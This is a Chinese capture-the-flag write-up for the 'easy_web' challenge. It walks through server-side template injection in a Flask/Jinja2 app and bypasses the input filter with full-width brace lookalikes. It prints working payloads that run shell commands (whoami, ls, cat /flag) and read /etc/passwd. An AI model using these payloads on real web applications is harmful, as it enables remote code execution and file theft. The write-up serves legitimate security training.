攻防世界——easy_web

打开网站后发现有一个输入框

随便写点东西进去尝试xss注入

发现能回显输入的信息但是在代码中被隐藏了

尝试用dirsearch扫描

什么发现也没有

写点东西抓包看看能抓到什么

发现是python的后端

想到这里应该用的是flask框架,注入点在str

尝试SSTI模板注入

Flask是一个很常用的python框架 ,但在其中有SSTI漏洞。

当用户输入****{{7*7}}****时,{{}}里面的语句会被执行,即返回49。

由包中的信息可知,注入点在str

写入{{7*7}}测试一下

发现被过滤了

fuzz测试看看过滤了什么

发现过滤了所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

服务器对所有危险字符(触发过滤规则的字符)返回统一的 "过滤响应页面",该对于这个靶机,HTML 长度固定为 198;而合法字符触发正常渲染,返回长度为 小于198的完整页面

对被过滤的字符我们可以进行替换绕过

{ -> ︷/﹛

} -> ︸/﹜

' -> '

, -> ,

用︷ ︸替换{}再测试一遍

输入payload

︷︷7*7︸︸

发现成功注入

jinjia2的SSIT方式

命令执行

{% for c in [].class.base.subclasses() %}

{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].eval("import('os').popen('whoami').read()") }}

{% endif %}

{% endfor %}

文件查询

{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}

主体

{{ c.init.globals['builtins'].open('/etc/passwd','r').read() }}

{% endif %}{% endfor %}

构造替换好的payload,查看当前目录下的文件(ls)

python 复制代码
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}
-->
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

__globals__使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典。

sys.modules是一个全局字典。

popen('ls').read()为执行ls命令

发现没什么值得注意的

查看根目录(ls /)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

发现flag文件

在根目录下抓取flag(cat /flag)

python 复制代码
︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

成功找到flag

flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

相关推荐
刘婉晴1 小时前
【kali渗透测试】暴力破解
网络安全·渗透测试
云小逸2 小时前
【网络通信】同一网段与不同网段的通信原理
网络·网络安全
C澒5 小时前
前端监控系统的最佳实践
前端·安全·运维开发
C澒7 小时前
SGW 接入层运维实战:配置查看 + 监控分析 + 日志排查
前端·安全·运维开发
Noontec7 小时前
铁威马F4-425Plus提供专属于创作者的解决方案
安全·网络存储·铁威马nas
emma羊羊8 小时前
【AI技术安全】
网络·人工智能·安全
赛德传动9 小时前
使用SNJ齿轮齿条升降机时,有哪些安全防护措施?
网络·安全·制造
运筹vivo@10 小时前
BUUCTF: [BSidesCF 2020]Had a bad day
web安全·ctf
拍客圈11 小时前
Discuz CC 防护规则
服务器·网络·安全
三七吃山漆11 小时前
[网鼎杯 2020 朱雀组]phpweb
php·ctf·网鼎杯